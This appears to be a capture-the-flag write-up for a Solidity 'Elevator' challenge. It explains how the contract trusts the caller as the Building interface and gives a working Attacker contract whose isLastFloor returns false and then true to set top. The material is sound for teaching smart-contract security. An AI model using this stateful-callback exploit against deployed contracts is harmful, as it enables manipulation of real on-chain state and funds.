Skip to content

Elevator

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Goal

Reach the top of the building, set the top variable inside Elevator contract to true

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

The purpose of the Attacker will be to implement the isLastFloor() function from the Building interface.

There two important lines of code worth mentioning. First one is:

  Building building = Building(msg.sender);

This means that the Building interface will be implemented in the context of msg.sender (in our case it will be the Attacker contract), therefore the Attacker contract must have isLastFloor(uint) function implemented

The second line is:

  top = building.isLastFloor(floor);

This is the only place where we assign value to the top variable.

So let's dive in. From the code we can see that the top variable is in conjunction with the isLastFloor() function from the Building interface, it's value is directly dependant from the return value of isLastFloor() function.

Inside goTo() function we can see that isLastFloor() function is called 2 times. What we can do in the Attacker contract is implement the isLastFloor() function, and we need a way to make this function return false the first time is called, and return true afterwards. To achieve this we can use storage variable.

To exploit the contract we need to:

  1. create Attacker contract, and create instance from the Elevator contract inside the Attacker contract, this contract should also have additional storage variable count
  2. create external hackElevator() function inside Attacker contract, and from this function call the goTo() function inside the Elevator contract
  3. lastly implement/create isLastFloor(uint) function, that is contained in the Building interface, inside isLastFloor we need to incremenet the count variable, and return false if count is lees than 1 or true otherwise
  4. call the hackElevator function()

Attacker contract code

contract Attacker {
  Elevator private immutable elevator;
  uint private count;

  constructor(address _elevator) {
    elevator = Elevator(_elevator);
  }

  function hackElevator() external {
    elevator.goTo(3);
    require(elevator.top(), "not top");
  }

  function isLastFloor(uint) external returns (bool) {
    count++;
    return count > 1;
  }
}